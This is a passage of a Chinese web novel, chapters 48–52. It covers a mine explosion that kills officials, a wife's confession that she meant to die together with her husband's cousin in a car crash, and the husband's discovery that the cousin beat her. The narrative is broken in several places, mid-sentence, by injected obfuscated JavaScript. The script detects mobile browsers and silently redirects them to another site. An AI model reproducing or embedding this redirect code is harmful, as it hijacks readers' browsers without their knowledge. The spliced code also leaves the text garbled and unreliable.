“国政院前段时间要查旗山那边的水晶矿,今天支宁方带着督察员一起去矿上实地考察,进行到一半的时候,一个水晶池冶炼池爆炸了,靠得近的几个人当场死亡,矿上其他离得远的也各自负伤。三个督导员跟支宁方还有他秘书、一个底下的文案人员都死了。” 敬渝分开双手,一只手的指尖点了点膝盖,望着游之翎,于是他继续说: “之前就有风声,据说旗山水晶矿的账早就平不了了,根本经不起细查,所以,” 所以他们选择在督察员到场的一天,直接引爆现场,炸死了督导员,还炸死了省司派下来接待督导员的级别足够高的领导支宁方。 旗山水晶矿直接被炸,想来其他证据也会被销毁,死无对证,查账的事情就只好暂时搁置了。 水晶矿如何,跟他们没关系,但支宁方却是个能替舒家出力的重要人物。 而现在他死了。 静默在后座的男人有些头痛,捏住眉心,只是道: “回家吧,纯熙该等着急了。” 他这么想的,也就这么说了。 司机在路口将游之翎放下,然后车子往敬宅的方向回。 回到家,后备箱的糕点自有人拿,敬渝先上楼回了卧室换衣服,而妻子并未如他所想在房里等自己。 想起刚刚得到的那个消息,敬渝手心里难得地起了点汗,不知为何,推着他早些去见舒纯熙。 水晶矿爆炸这种事,不像是祝文兵的猝死可以先压下去,今天下午的社会报道就会铺天盖地,她有可能已经看到了,敬渝知道她是会关注新闻的。 想到这,呼吸不免一滞,换了身休闲服的男人出了卧室门,问了洒扫的人太太在哪里,有人给他指了指书房。 这段时间,舒纯熙是会在他的书房里读书的。 他心下稍安,但脚步加快,连忙去了书房。 打开门,还穿着睡衣的女人就坐在他书桌的椅子上面,桌子左右两边的抽屉被打开来敞着,舒纯熙低着头,正在翻他每天会写的工作笔记。 那并非他的日记,只是他重要的所思所想都会记录在上面,说是极其重要的隐私也不为过,几乎每个季度就会用完一个笔记本。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558902|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 男人走过去,看着舒纯熙恍若未闻地继续翻着页。 她在这本子上看到了一份增增改改的名单,跟上次父亲告诉她、让她去见的那些人几乎重合,涵盖了那些人,却又扩展得更多。 看前后日期推算,最终版应该是在敬亭的葬礼之后,她亲自见过那些人之后才敲定下来的。 女人的一手捏着页,另一只手撑在椅子上,手心里正起着凉汗,心下不禁噗笑一声,原来他那么早就自己写出来这份名单了。 看来她给他的那个优盘,实在是没什么用武之地。 可又是为什么,在她把东西给他之后,支宁方就突然死了? 宗正那时候的话敲在她心上,赶不走。 眼见女人面露痛苦隐忍的神情,敬渝克制着呼出一口气,也不想去计较她不经同意就翻自己的这些东西,走到她身边半蹲下去,将一只手覆在她支撑在椅子上的那只手。 尽管很不想承认,但打开房门,看见她自己上手在翻找自己书房里所有的文件时,他的心就已经沉下来了。 一路上他那种无所依托的虚浮感,也终于在此刻有了明确的答案。 敬渝仰着头,望着还执着地往后翻页、一目十行的女人,打断了她对挑拣自己想要的信息的那种不耐情绪,静静地说: “支宁方死了。不是我做的。” 女人的动作停顿了一下,底下的那只手想收回来,却被他抓握住,然后他又咬紧牙关,郑重严肃地说: “真的跟我没关系,你相信我。” 那只挣扎的手停了,连带着翻页的动作也不再明显,舒纯熙偏过头来看半跪在自己左手边的男人,有点无神的目光轻扫而过,忽然淡淡地说: “我相不相信你,又如何呢?重要么……我其实没有别的选择了,不是吗。” 她为鱼肉,人为刀俎,所有的一切,全凭他的心意不是么。 舒纯熙甚至觉得,敬渝有可能说得出“舒家虽然没了,但你是我的妻子,我还是会好好对待你”的这种话。 就算他真的这样的话,她又拿他有什么办法呢? 男人静默了,从他进来到现在,舒纯熙只说了这么一句话,就已经表明了她真正的态度。 他甚至宁愿她像前段时间那样说那些古怪的话,也好过如今这种带着无望的认命的平淡感。 “你是不是……从来就没真正相信过我?” 不相信他是真心替她给舒家翻案的,不相信他会为他们做到这个地步,不相信舒家的事真的跟他一点关系都没有。 “你还想要怎样呢?” 舒纯熙歪了歪脑袋,很认真地说: “能给你的,我都给你了。你要我爱你么,我尽力在爱了,除了我这具身体,我还有什么没有如你所愿的?我已经给了你全部了。” 她眨了眨眼,心中一阵疲惫裹挟着剧烈跳动着的心跳,让她如同置身于冰雪两重天里面。 曾经那个人也是这样的,她明明已经给了她能够给出的全部了,但他要的却好像还是没能得到满足,好像还是不够。 可她真的已经用尽全部的力气了。 女人闭上了双眼,张开嘴唇吞吐着急促起来的呼吸,眉心紧蹙。 她现在甚至都开始相信宗正那时候给自己的暗示了。 或许舒家的覆灭,根本就是敬渝的意思,是他的谋划,或者有他的推波助澜。 女人推开椅子也跪下去,盯着他的眼睛,很诚挚地问: “难道我对你还不够好么,你还想要我怎样吗?” 敬渝的脸色灰败下去,蠕动着双唇,最终颤颤地用一种被欺骗后的薄怒语气,压着声说: “你为什么就是不能相信我呢?一次不忠,终身不用是吗?从来就只有两年前的那次,那是我唯一一次对不起你,放任你离开我的身边,除此之外,我没有任何对不起你跟舒家的地方,你相信我,你相信我不行么?” 他说着,苦笑起来,脑子里的回忆走马灯似的开始走。 原来如此,原来如此。 她从来就没有相信过他。 所以她骗他说她怀孕了,是因为她已经不相信他会接她回来、好好保护她了,所以她才要装作她怀了敬亭的孩子的模样。 到现在,所有的一切都没有她的几分真心。 她根本,从来就没再真的信任过他。 敬渝第一次在心里生出一种莫大的荒谬感,仿佛他接触到的所有一切都是假象。 她根本就不愿意相信他。 这种感觉将他淹没,险些将他溺亡。 甚至在这样的情况下,他埋藏在心里久久不愿问出口的一件事,竟然也死灰复燃,终于有了提及的机会。 男人抬起头,目光里带着点审视,绝望地对她说: “车祸的调查结果出来了,我的人查了所有路段的监控,他们说只有那一天你们两个出门的时候没有带保镖,而且一开始是你开的车,为什么到了一半,你们下车交换了位置?” “你,” 敬渝几乎说不下去,心中如同刀割般难耐,但那个答案简直呼之欲出,长久以来也在心里折磨着他。 “你是有意的,是么?” 49. 第 49 章 第四十九章、 男人用饱含痛意的眼睛望着她,等待着她的回答,等待着她替自己辩解,说“不”,等待着她的否认将自己从这日夜煎熬里给解救出来。 但他又好像并没有在等,因为他心中已经有了一个答案。 如果不是他已经有了答案,又怎会不敢来问她,怎会自顾自地将这桩事彻底地掩埋在心底。 他不敢问,他也不敢去细想。 他没有去质询真相的勇气,因为那是他唯一的爱人,他好不容易才失而复得的珍宝。 “所以呢?” 眼前的女人缓慢地仰起头跟他对视,眼里流露着一种他怎么也都读不懂的情绪,十分冷淡平静地询问了一句, “你是选敬亭,还是选我?” 敬渝十足地苦笑了起来,点着头望着她,胸膛里的难以言喻实在是百转千回,将他的五脏六腑都给纠结在了一起。 他就不该问的,因为他根本就不敢去承受真相。 她没有明确地回答,但回不回答又有什么分别。 他问了她这件事,就像她反问的那样,他选她,还是选自己的堂弟。 选她,就像他一直以来那样做的,将这件事给烂在心里,不要再去细究,不要再翻出来质疑,试图弄明白怎么回事。 还是选他的堂弟? 那时候他又该怎么办,他们的婚姻本就已经一团乱麻,从来都只是他在粉饰太平而已。 多一桩事少一桩事又有什么分别? 还是有的。 男人颓然地低下头,将另一只腿也放下,直挺着身子跪在地上,不再掩饰带着怒气的声音,低吼道: “到底为什么,因为他对不起你,因为他出轨了?!” “他背叛你,确实是他的错,但是,” 敬渝心痛难耐,不知道为什么亲人的死亡跟这个男人曾经对自己妻子的背叛,这两件同样让他心痛的事情要放在一起比较,最终分出个高低贵贱来。 他几近咬着牙,从嘴里一字一句地挤出来剩下的字, “那到底是一条人命,难道真的就罪以、至、死吗?” 说完这句话花了他全身的力气,敬渝撇着嘴角面上一片死寂,收敛了一些气势,从前那双常常将她握在手里的手僵着,纹丝不动。 再开口,还是接受不了事实,锥心刺骨地诉道: “你怎么能……你要我现在怎么办,他毕竟是我的堂弟,而你,是我的妻子! “为什么要把事情弄成这样?……” 他茫然地呢喃着,苦笑出了声。 舒纯熙看着他的一系列反应,轻轻地眨动了一下双眼,支着的上半身被逐渐抽走了力气,朝后跪坐在了脚上。 很静,很静。 敬渝,你是真的很可笑啊。 她坐在他面前,看着眼前男人懊恼得无所适从的样子,竟然无声地勾起唇嘲讽地笑了一下。 对,那毕竟是一条人命,毕竟是你的亲堂弟呐。 所以呢? 舒纯熙的思绪终究还是往回倒带了。 那是她出院的第二周。 她察觉得到暗中是多了些观察她的人。 这是那两年里她不得不练出来的敏锐,但她没有警觉,反而放任了他们的存在。 因为她不想活了。 她真的不想活了,从在病房醒过来的第一刻起她就有了这个明确的念头。 她知道父亲母亲还在等她回国,她知道她应该坚强一点忍耐下去,她知道,这些她都知道。 但去死的念头却从来没有那么强烈地萦绕在自己的心头。 敬亭忏悔的神情和话语,一分一毫都令她无比作呕。 她想死,她不想活了。 那些在暗处的人大概是来杀她灭口的吧。 她想。 就这样,那天她不让保镖跟着的意愿很强烈,即使是敬亭也没办法拿她怎么样,毕竟他心怀莫大的愧疚,那时候就是让他去摘星星他也会愿意的。 所以他们两个人一辆车上了路,本来是要去城外的一个庄园赏景的。 本来是她开的车,她料想对面的车应该会控制好力度从左侧撞过来。 驾驶室的人会死,而副驾驶的人应该不会,毕竟那是敬亭,谁敢在暗杀自己的时候搭上敬家人的性命? 但是到了半路,她腹痛难忍,那大概是因为她的第一次清宫手术并未做好,所以他们只好交换了位置,变成了敬亭开车。 当时她头冒着冷汗,就像一只受伤的小鹿一样蜷缩在椅座上,咬牙拒绝了敬亭要调头去医院的要求,坚持要他沿着原定路线继续开。 在她疼得迷蒙绝望的那一刻,她确实是生出了要跟敬亭同归于尽的念头。 她也不知道为什么,对于那个从自己身体里流走的孩子她会有那么强烈的感受,难道是母性终于被唤醒了么。 她没想明白,但她至少清楚一件事,那就是她本不想怀孕也不想生孩子的,但敬亭不管不顾,他没有尊重她的意愿强迫了她。 好不容易终于怀上了,孩子却又被他刺激得保不住了。 这一切都是敬亭的错,全部都应该算在他的头上。 她本不愿怀孕的,但失去那个孩子的时候,她清楚的知道,自己脑子里长久紧绷着的那根弦,彻底断掉了。 至于最后,为什么敬亭在最后关头挡在了前面,为什么死的是敬亭而不是她,她没有想明白,但也不想去细究了。 想起这些往事,她的身体如同稻穗一般微微抖动着,明显得应激,那流淌在血液里的液体也骤然停滞了动静,要将她留在这冰天雪地里面。 反而这种时候,她愈发地平静。 舒纯熙伸出手,微笑着抚摸了一下敬渝的下巴,淡淡地说: “其实本来我是想跟他同归于尽的,但是没死掉,不然就能给他赔命了。所以很可惜,真是让你失望了。” 说完,女人从地上爬起来,自顾自地越过他,离开了书房。 只剩下徒留在原地的男人,阴郁着一张脸,双睫因她最后的话迟缓地眨动了一下,良久地呆立着。 按照原定计划,两天后二人要去北省首都参加祝文兵的国葬仪式。 其实敬渝本可以自己一个人去的,但这次的仪式并非只是一个过程,更是他定好了要将代表舒家的妻子带到各界政要面前的场合。 所以夫妻二人会同时出席。 两天的时间说长不长,说短也不短,敬渝一直待在书房里面,不知道在做什么,而舒纯熙也只是守着自己的卧室,未曾再踏入敬渝的领地半分。 两个人各自守着彼此的一方天地,连一日三餐也不在一起吃了,更遑论同榻而眠。 只是到了第三天清晨,舒纯熙跟敬渝又不约而同地出现在了大门口,坐上了出发去机场的车。 看着等在一旁的郑徽暗自称奇。 等到坐上了车,他又觉得,车上的氛围比起当初从机场接太太回来的时候,根本是有过之而无不及,毛骨悚然地打了个激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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女人自然瞧见了他的动作,顺势走了过去跟宗正的一大家子打了个招呼,然后再转头回去,只见敬渝一脸沉静站在不远处,似乎是在等她。 见她回头,男人别开眼神,并没有跟她对视,反而抬起脚步走到她跟前,同她方才打招呼的那一群人也礼貌地问候,而后伸出手攥住她的手腕,无声地带着她去了另外一边。 敬渝自有自己要拜会的人,但还是留了点耐心等了下她,然后才拉着她防止她跟自己被人群冲散,朝着另一边走过去。 就这样两个人到了大厅外的花园草坪上,场外也候着不少人,只不过三两成群稍微闲适一些。 就连呼吸的空气仿佛也没有那么浑浊有限了。 室内有布置好吊唁的灵堂,而室外也有相关的造景,木架置放在草坪上,上面缠绕着白色的鲜花,沿着一条路径依次排开。 敬渝带着她朝一个年迈的老人走过去,介绍说这是国政院的某位议员,两个人打了招呼,接下来主要就是敬渝跟他寒暄。 说的话弯弯绕绕很是奇怪,舒纯熙只觉得自己听不懂,逐渐就走了神。 突然身边的男人动作果决地扬起手朝自己来,余光看见的同时,几乎是下意识地,女人抬起一侧手臂,将手肘举到耳边呈防御的格挡姿势。 耳边静静的,她等了好一会儿也没接下来意料之中的疼痛,只是一声木头与骨头碰撞的声音响起。 直到此时,舒纯熙才意识回笼,不动声色地收回手拢了拢耳边的头发,然后转过身一看,见身后方才倒下来的一个花架子,被敬渝用手挡住,才没有砸到她。 她朝着廊下后退了一步,有些愣怔的目光对上敬渝的。 男人沉着眸,审视探究地望着她。 50. 第 50 章 第五十章、 旁边的老议员弄不明白眼前这事,方才舒纯熙的动作反应,明眼人细想一下就知道,她是将敬渝的举动当成了要攻击她的样子。 但是她显然想岔了。 老议员笑了一下,主动继续起刚才的话题,默不作声地打起了圆场。 敬渝也伸手将那花架再度摆好,悄无声息地收回双手,侧转过身来,继续进行着谈话。 这件事就这样在明面上掀过去。 但在敬渝的内心深处,他原本沉静地如同汪洋大海一般的心底里,已经不容置疑地掀起了一层漩涡,将思绪和疑虑席卷起来,越聚越大。 之后,仪式正式开始之后,众人摆成井然有序的队伍,完成了冗长的肃穆吊唁。 他的心思也始终飘忽在先前的那个小插曲上面,甚至时不时就用一种隐藏了疑惑地眼神,望上一眼站在自己身侧的女人。 这一天几乎就这样消耗完,直到晚宴结束,一群人才得以返回酒店。 下了车,喝了些酒的男人特意走在后面,散着酒气。 虽然这次他跟舒纯熙是各住一间房,并没有什么机会熏到她。 唐廪站在敬渝身后半步,跟着他缓缓地走在长廊上,附耳轻声同他汇报道: “今天郑明波郑副院同祝郧阳起了些口角,两个人在灵堂上差点大打出手,是祝先生出面才强压下的。” “他们这是闹的哪一出?” 敬渝原本就皱着的眉头更甚,整理着袖口,心道祝郧阳不提,但郑明波是自己这边的,他可没有授意郑明波今天在灵堂上干什么。 “不知道,我让游之翎去查了,貌似说的就是祝司长遗嘱的事情,当时闹得有些大,今晚的晚宴有些人都没有参加,想来也有这个缘故。” 走在前面的男人停下了脚步,到了房门跟前用房卡打开房门,待到走进去后才沉声说: “怎么现在才说?你告诉游之翎时刻看着,可别让他们真闹出来什么事。还有,去查查祝郧阳。” 唐廪称是,就在准备离开房间的时候,走到落地窗边拉上窗帘的男人叫住了他,转过身走回门边,忽然淡淡地问: “一个人为什么会下意识做出防范的举动?” 敬渝回忆了一下,复刻了上午舒纯熙的那个抬手的举动,牵扯到西装腋下,不由得更确定这是在防范被打,因为男女生体型力气不同的缘故,他就没有什么机会做出这个动作。 唐廪跟他一起琢磨了一会儿,默默地提醒道: “我觉得做出来这个动作的话,应该不是第一次吧,有可能是之前被这样攻击过,觉得可能会再次被攻击,所以才会养成这种下意识的习惯。” 说着,唐廪转动了一下眼珠,跟着敬渝的动作,也模拟了一下另一个人的动作。 也就是说,比她高上不少的人曾经占据过身高优势,从上到下对她的身体进行过攻击? 唐廪顺势在椅子上坐了下来,然后示意敬渝试试看高度对不对。 敬渝只望了一眼坐着的男人,就立刻生出了退缩之意,圈住双拳抵了抵眉头,觉得自己真是醉得不轻。 已经无需再试了,他现在只想知道: 是有谁曾经这么打过她么? 思绪有点停滞了,然后一丝烦躁的火苗从心里蹿起来,完全不受控制地迅速燎原成了心慌。 男人忽然直起身子砸了下墙,鼻子里吐着粗气,没好气地说: “不是让你们去查纯熙在波利的事情了吗,还没有一点回话吗?” 唐廪站起身,不作声地表示还没有,然后退出了敬渝休息的房间。 敬渝伸手捂在头上,觉得自己的额头格外地烫,心焦如麻。 他想直接去问舒纯熙的,但他又不敢。 他还是一整晚都在想这件事,已经到了一种无法入眠的地步,像是躺在床上等待着头顶悬着的那把剑什么时候落下来。 一日不定,他就一日不得安心。 参加完祝文兵的葬礼,敬渝没有过多在首都停留,第二天就启程带着舒纯熙回了南省。 然后,他又耐着天大的性子,等待了两天,总算等到了郑徽带回来的消息。 那是一个下着暴雨的午后,天上阴云密布,黯淡无光,闪电在厚重的乌云里闪着惊异的光,时不时就在耳边滚出一声巨响。 男人面对着窗户,站在沙发旁,望着外面的雨势。 郑徽敲了敲门,打开门走进去,将一个档案袋放在了桌子上。 他的声音很低,隐在天地自然的声音里几乎听不见,但敬渝还是若有所感般转过身,还算沉稳地走回了书桌旁边。 两个人都没有说话,但郑徽是看过里面的东西的,所以今天他甚至比上次带来敬亭出轨的消息时,还要不知道该怎么措辞,更不知道自己该表现出怎么样的神情来。 敬渝就站在桌后,将那个档案袋拿起来,用指尖解开上面绕着的几圈线,从里面将几张纸跟照片,还有一份订好的文件拿出来。 男人始终屏息凝神,动作自然地将那些东西都给翻看了一遍。 档案袋里装着的东西不多,但言简意赅。 舒纯熙跟敬亭在波利的家里五六位莫瑞恩尔佣人的回忆转述,已经从莫瑞恩尔语译成了维尔亚语。 几张旧时照片,上面是她背过身瘦弱的身影。 还有一份关于流产的报告单。 敬渝静静地看完那些东西,将那几个佣人说的话又给看了一遍。 “太太有很严重的失眠,这毛病我觉得跟先生分不开关系,因为先生总喜欢在外面玩到半夜再回来闹太太,所以太太半夜根本没办法睡好,久而久之也就养成了坏毛病。” “先生跟太太喜欢把房门关好后再吵架,但其实隔音很弱,我们在一楼也听得到。他们总是在为太太的那个前未婚夫争吵,常常吵着吵着就会动起手来,先生打太太打得很凶,太太却很少求饶。” “太太总是会在后半夜坐在阳台上哭,我悄悄告诉过先生,是想让他不要回来睡完就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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严肃和阴郁虽然褪去,但周身的气场却并没有变上半两,只不过那张脸上已经摆上明显的痛苦难耐,看上去凄然万分。 以至于最后这人竟要将自己的嘴角刻意向两边翘起一点,才能试图像往常一样表现得柔情温暖,但是扯不出半点笑容,他失败了。 他竟然也有装不下去的一天。 舒纯熙有点新奇地审视着他的样子,从床上站起身来,盯着他这张在窗外滚滚惊雷的映衬下,看上去也好不了多少的脸,疑惑地问出了声: “你怎么了啊?” 敬渝听着她的声音,循着声音将目光聚焦在她的眼睛里,满脑子都是自己刚刚看到的那些字。 他几乎不能够去想象,敬亭怎么能够那样去对待她,怎么能那般伤害这么美好的她的。 胸膛里的那颗心鲜血淋漓,仿佛下一刻就会被缠绕在上面的无数根丝线给分尸,所以他只好不去感受,只好用尽全身的力气去把那感受给压下去。 心绪乱得要命,但他应该回答舒纯熙的问题的。 敬渝花了好一会儿才成功找到自己的声音,直愣愣地盯着她,从嗓子里艰难地挤出来几个字,一字一句地说: “他……他竟然打你么?” 51. 第 51 章 第五十一章、 女人的瞳孔在他的注视下缓缓放大,脸色冷了下去,周身透出点生人勿近的气场,良久地沉默了下去。 这一系列的变化发生得很快,吉光片羽根本伸手抓不住。 虽然她不想答,但这反应已经很明显是默认了。 敬渝不可置信地张开嘴发出一声气音,似笑又似哭,如同一只骄傲的头狼,活生生折断了高傲的脖颈,在她面前狼狈地垂下了头颅。 “为什么,为什么不跟我说……” 他点了一下头,又点了一下,如同摇晃一般重复着这个无意义的动作,声音特别小,强忍着声音里的颤抖,努力让它听起来还算平静稳重,不知道算是辩解还是哭诉,总之随着时间的推移他越想越发崩溃,撕扯着低吼道: “我不知道,我根本就不知道,我什么都不知道,你为什么都不告诉我……” 他竟然还以为他们两个过得很幸福,以为敬亭对她很好。 他本可以有很多方法可以去窥探他们的生活的,只要他想。 但他没有,因为他根本就没有勇气去窥探他们的幸福,他没往波利派过哪怕那么一个眼线。 但凡,但凡……啊! 敬渝握住双拳,从手臂到拳头几条青筋暴起,蜿蜒在手臂上看着有点可怖。 男人突然抬起手溃不成军地一连猛扇了自己好几个巴掌,嘴里没说完的话,都被他打成了一种听起来像是动物般呜咽的声响。 “呜啊”一声,砸了出来。 如果他知道敬亭对她一点都不好的话,他就算是不顾她的意愿也要带她走的,可恨,可恨他竟然被瞒在鼓里整整两年,可笑他竟然时至今日才知道这件事。 但凡,但凡他能早点知道…… 敬渝整个人看上去吓人极了,一个一贯稳重自持的人,原来也是会如此言行无状的。 他那种温柔的本质已经不见了,舒纯熙很清楚地看得见那都变成了裹住他、试图将他闷得窒息的情绪外衣。 当他知道真相的时候,如果不能够为自己开脱的话,那些情绪就会不可避免地转为尖刀将他一次次凌迟。 舒纯熙终于有点迟疑地伸出了手来,探身握住了那只狂怒的手掌,将几根僵直的手指头握在自己手心,拦住了他的动作。 想了想,还是小声地对他说了句: “其实、我也有还手的。” 只是她打不过敬亭而已,但她肯定不会任着他打自己,她的脾气也不好,他们俩更多的是互殴、然后各自挂彩。 只是这话没起到半点作用,反而像催化剂一样,敬渝眨了眨露出红血丝的眼睛,一行泪径直从他的左眼眼眶里流了出来,往下淌着。 舒纯熙的解释落在敬渝耳边,全然成了她刻意的安慰,他又怎么会看不出来她现在还在为自己着想,这么说只是不想自己太痛苦而已。 他简直不敢想象,她在波利过的都是怎样的生活。 更不敢想象,为什么直到现在,她还能说出这种话来好让自己不要自苦。 好痛,他只觉得五脏六腑、全身的骨骼经络都在发着痛,让他欲生不得、求死不能。 一连呜咽了好几声,男人克制着自己全身的力气跟情绪,强迫自己伸手抹了抹脸,透过朦胧的泪眼去望着眼前的女人。 敬亭竟然敢打她,竟然敢对她一点都不好。 他那么宝贝那么珍贵的纯熙,他视为这一辈子最重要的人的纯熙,恨不得把全世界美好的东西都送给她的纯熙。 敬渝深吸了一口气,挪动了一下手,是想要上前去拥抱她的样子,但手抬到近前,却又不可抑制地颤抖了起来,以至于竟然不敢用自己的双手真的去触碰到她。 好像眼前的这个人是什么一碰就碎的宝物一样。 一声刻意被压下去的呜咽陡然又在室内响起来。 舒纯熙眼睁睁看着,敬渝又当着自己的面哭了,泪水从他的眼角流了下来。 他先前自己扇的巴掌全都落在右边的脸颊上,现在红起了一侧,然后脸色十分难看的面上又流着眼泪,跟外面电闪雷鸣的天气交相辉映,场面一度十分诡异凝滞。 舒纯熙站着,手脚都有些无措,没等她想好该在这时候说出点什么来,男人已经又张开嘴,用猩红的双眼盯着她,怆然地说: “我恨你,我恨你。” 他终于上前一步将她抱在怀里面,动作生疏陌生得仿佛他根本不知道该怎么做一样,偏头在舒纯熙的耳边,哽咽着用一种痛苦得不成语调的声音,喑哑地对她说: “我恨你,我恨死你了,你为什么什么都不愿意告诉我,为什么,为什么?!” 女人垂在身侧的手有点无力地蜷着,他的呼吸扑在耳边,质问得让她也心口一阵发紧,嘴巴像是糊了浆糊一样张不开了,喉咙里更是发不出来声音。 她怎么说? 向自己的前任哭诉现任老公待她如何不好么? 人是她选的,她做不出来这种承受不了后果就反水的姿态。 让她主动告诉敬渝这种事,只会比杀了她更难受。 婚姻不幸是她自己该处理的事,她当然不会向他求助,哪怕是一分一毫。 她现在没有计较他让人去调查自己以前的生活,也只是因为看他在自己面前哭成了这副鬼样子而已。 想着,舒纯熙也就只能在他怀里僵立着自己的身体,听他压抑着的呜咽声。 感受着这个男人将他的脑袋放在自己的肩窝上,颤抖着他的整个身体。 此时此刻,敬渝的体温高得异常,从来没有遇上过这么踩踏自己底线的事情,他只觉得胸膛里的思绪和所有情绪都搅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558905|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动在了一起,就快要将他给烧得神志不清了。 舒纯熙也从来没有见过这个样子的敬渝。 自从回到维尔亚,她承认敬渝也在一点点地改变,有时候他表现出来的不一样的一面是会令她感叹,但绝比不上今天这样来得惊心动魄。 她有点茫然,以至于压根不知道到底应该怎么去面对现在这样的他。 她从来就没有预想到过眼前这样的场面。 面前的敬渝就如同一直困在笼子里负伤的暴躁猛兽,痛苦无比地叫嚣着,却又只能无可奈何地压抑忍耐着。 可能是因为面对着她,所以他即使心中有再大的怒火怨气,也不能发泄出来,因为他不会将这种东西给自己。 他又自顾自地呢喃了一句“我恨你”。 但那语调里哪里有半分真实的恨意呢。 说着我恨你,其实是恨自己,其实更是我爱你。 就这样,女人将压在自己身上的人推开来,拽住他的手腕,将他拉到床尾坐了下去,然后看着哭得一抽一抽的男人,伸出手来耐着性子给他擦了擦眼泪。 只不过眼泪越流越多,竟然怎么擦都擦不完,她索性就收回手要起身去拿茶几上的纸巾来。 还没站直身体,男人从后拥住了她的腰身。 “别走!” 他偏过头,用鼻梁在她腰上蹭了蹭,哽咽了低吼了一声。 女人的身体随着腰身上传来的触感板滞着,而后渐渐传染到了一整具身体。 但僵硬也不过几瞬,腰上的禁锢感陡然消失,那人已经将自己给松开了,嗡嗡的声音稍稍恢复了一点冷静, “抱歉,我现在有点不冷静。” 说着,男人没等她再去拿纸巾,站起来越过她就脚步匆匆地离开了卧室。 出了门,克制着动作将房门给关好,敬渝才呼出一口粗气,伸手捂住自己的额头,感受了一下那上面的体温。 他清楚自己不是发烧了,他只是太愤懑了,血液里的情绪激荡着连带着表面皮肤的体温也开始走高。 如果他不能做点什么的话,胸膛里的燃烧着的情绪会将他炙烤成一具干尸的。 男人快步走回了书房,只觉得大脑发胀,他见过舒纯熙之后的情绪非但没有平复半分,还因为在她那儿得到印证而愈发难以忍受了起来。 回到书房,周身低气压的男人抬腿猛地踹了一下书桌,将那张厚重的原木书桌也给移动了些许厘米,跟地板摩擦出一声阴沉的“呲”声。 敬渝收回腿又走到旁边的会客区,一脚踹翻了玻璃制的茶几,搭在上面的一块玻璃砖应声碎掉,他踩着碎碴子走过去,两手抻在窗边,神色阴沉无比地望着外面。 他竟然会以为敬亭跟舒纯熙两个关系很好。 他真是个十足的蠢货,一个无可救药的混蛋。 52. 第 52 章 第五十二章、 唇角终于勾起一个足够嘲讽的弧度,他干巴巴地笑了几声,又点头又摇头,形似癫狂,身形忽然一转,将旁边的落地灯同书架一齐推倒。 铁质的架子在落地的瞬间发出“铮”的一声响,男人走过去又踹了一脚,然后踩着钢筋铁骨走出了书房的门,一步步走到廊下,最终步进雨帘之中,朝着祠堂的方向去。 敬宅的祠堂外常年安排着守卫,里面有两位专门的人员负责登记来人、洒扫供奉。 平日里若非逢年过节,其实很少有人会来祠堂。 但今天敬渝却扣响了祠堂的门,如同弄丢了一魂一魄一般,直愣愣地走到那一面牌位墙上。 敬亭辈分最小,所以在下首。 而男人的脚步显然是追随他去的,他在那木牌前面站定,脚上犹如千斤重,脑子里开始重新回想起敬亭曾经的所作所为。 原来如此,一想到他的那些言不由衷的鬼话,都是为了气自己,然后回过头,竟然又去找纯熙的麻烦。 明明那两年,他跟纯熙清清白白没有一点纠葛,她就压根没敢跟自己多说一句话,但是就连这样,敬亭还是疑心她迁怒她。 他的纯熙何其无辜! 敬渝越想,心中怒火越甚,望着眼前这个已经入土的人的牌位,目眦欲裂到难以忍受,伸出手指着,大叫一声: “敬亭你这个无耻小人,你不是我弟弟,你再也不是我弟弟了……我看不起你,你简直是禽兽不如,你枉为人!” 音量陡然拔高,男人无奈悲愤的吼叫声猛然在祠堂里响起,连带着底下一拍烛火都抖动了起来。 仿佛是压抑着一刻都待不下去了,敬渝又僵着双肩立刻转身,大步跨出了祠堂。 庭院里柳叔撑着伞在等。 敬渝刚刚从主楼一路淋雨到了此处,他不会一无所知。 见他终于出来,在阶上留下一滩水淋淋的雨滴,然后又丝毫不在意地踏入瓢泼雨幕里,柳叔连忙迎上去,试图举起手中的伞替他遮挡。 敬渝抬起手制止了柳叔的动作,仰起头任头顶的雨水将自己一张脸给冲刷干净。 如此,才能让他心中奔涌着的苦恶消解那么一点点,好受那么一点点。 男人终于还是收回了头,摸了一把脸,低沉地说: “你把敬亭的牌位还有骨灰都送回莫瑞恩尔,以后我们跟莫瑞恩尔的人彻底不再往来。” 而一旁的柳叔心神不定,对于敬渝做出来的这个决定有点惊诧,又因为心里一桩陈年旧事始终压着,一连看了他好几眼,才低声应下。 再看吩咐完这件事的男人,鼻子里喘着粗气,依旧急躁不安地难以平复,抬起步子又要往外走,说是一只游荡在敬宅里面的野鬼也不为过。 柳叔心惊肉跳地看着他快步离开,连忙打着伞又追上去,然后在路上将他给伸手拽住。 “大少爷,发生什么了,你到底怎么了?” 柳叔手上也是有些劲儿的,此时急了一把将他给拽着,跺着脚吼着问道。 